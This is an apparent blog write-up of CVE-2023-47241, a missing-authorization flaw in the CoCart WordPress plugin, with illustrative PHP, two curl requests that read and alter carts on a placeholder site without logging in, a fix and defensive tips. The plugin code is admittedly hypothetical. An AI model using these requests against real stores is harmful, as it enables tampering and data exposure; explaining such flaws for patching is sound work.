CVE-2023-47241 - Exploiting Missing Authorization in CoCart – Headless Ecommerce (Access Control Flaw Explored)

CoCart is a popular headless eCommerce solution for WordPress that allows developers to handle WooCommerce stores via a REST API. But even the best tools can have vulnerabilities if access controls aren’t correctly implemented. CVE-2023-47241 is a missing authorization vulnerability that affects CoCart – Headless Ecommerce from initial versions through 3.11.2. This flaw allows attackers to bypass access restrictions and interact with sensitive endpoints, potentially putting stores and customer data at risk.

In this deep dive, we’ll walk through how the vulnerability works, provide code snippets illustrating both the bug and how it might be exploited, and share references for further reading.

What is CVE-2023-47241?

CVE-2023-47241 was discovered in the CoCart – Headless ecommerce WordPress plugin, maintained by CoCart Headless, LLC. The bug arises from a failure to check if a user has sufficient permissions when accessing certain REST API endpoints. Because of this missing check (authorization), users—including those not logged in—could perform actions that should be restricted.

How Access Control Should Work

A secure REST API should always verify permissions before allowing access to sensitive data or operations. For example, fetching customer information or updating a cart should be restricted to authenticated users (and sometimes further limited).

Here’s a typical code snippet ensuring only authenticated users can get their cart

public function get_cart( $request ) {
    if ( ! is_user_logged_in() ) {
        return new WP_Error( 'rest_forbidden', esc_html__( 'You cannot view this cart.', 'cocart' ), array( 'status' => rest_authorization_required_code() ) );
    }

    // Proceed to return cart contents
}

The Core of the Vulnerability

In vulnerable versions of CoCart, certain endpoints (like viewing or modifying the cart) failed to properly check whether the current user is logged in or authorized before proceeding with the operation. This means attackers could enumerate or manipulate resources without being authenticated.

Here’s what the problematic, oversimplified code might look like

public function get_cart( $request ) {
    // MISSING: Authorization check!
    // Should check is_user_logged_in() or current_user_can() here

    // Anyone reaching here gets cart data
    return $this->get_cart_contents();
}

If an attacker sends a request to this endpoint directly, the plugin would hand out cart data without question.

Example Exploit: Unauthenticated Cart Access

Let’s see how an attacker could use this, using simple curl requests.

1. Discovering the Endpoint

Many CoCart endpoints live under /wp-json/cocart/v2/. One of these might be /wp-json/cocart/v2/cart.

2. Accessing Without Login

curl -X GET "https://victim.com/wp-json/cocart/v2/cart";

Expected (secure) response for unauthenticated user

{
  "code": "rest_forbidden",
  "message": "You cannot view this cart.",
  "data": {
    "status": 401
  }
}

Actual (vulnerable) response

{
  "cart_contents": [
    { "product_id": 123, "quantity": 2 },
    { "product_id": 456, "quantity": 1 }
  ],
  "totals": { "subtotal": "50.00", "total": "55.00" }
}

### 3. Using POST/PUT to Manipulate Cart

An attacker might even be able to add or remove items

curl -X POST "https://victim.com/wp-json/cocart/v2/cart/add-item"; -d 'product_id=999&quantity=5'

If there’s no authorization, the server will process this!

Data Exposure: Potential to enumerate carts, discover inventory, or gain business intelligence.

- Cart Manipulation: Attackers could add or remove items, confusing customers or disrupting operations.
- Chained Attacks: Cart tampering could be a stepping stone to more serious vulnerabilities if combined with other flaws.

Fixing the Vulnerability

CoCart fixed this issue in version 3.11.3 by restoring proper authorization checks. If you’re a developer or store owner, update to the latest version immediately.

Here's how that bug might have been fixed

public function get_cart( $request ) {
    if ( ! is_user_logged_in() ) {
        return new WP_Error( 'rest_forbidden', esc_html__( 'You cannot view this cart.', 'cocart' ), array( 'status' => rest_authorization_required_code() ) );
    }
    // Only logged-in users get here
    return $this->get_cart_contents();
}

Defensive Coding Tips

1. Always Check Authorization: Use is_user_logged_in() or current_user_can() checks on sensitive endpoints.
2. Least Privilege Principle: Only expose necessary endpoints, and restrict data exposure as much as possible.

References & Further Reading

- Official CVE entry: CVE-2023-47241
- CoCart Plugin Changelog
- Wordfence Advisory on CoCart Vulnerabilities
- REST API Security Best Practices

Conclusion

CVE-2023-47241 is a textbook example of why robust access control is essential in any public API. Developers must always verify both authentication and authorization—never assume "security by obscurity" is enough. If you use CoCart, patch now and audit your code for similar mistakes.

Timeline

Published on: 01/02/2025 12:15:15 UTC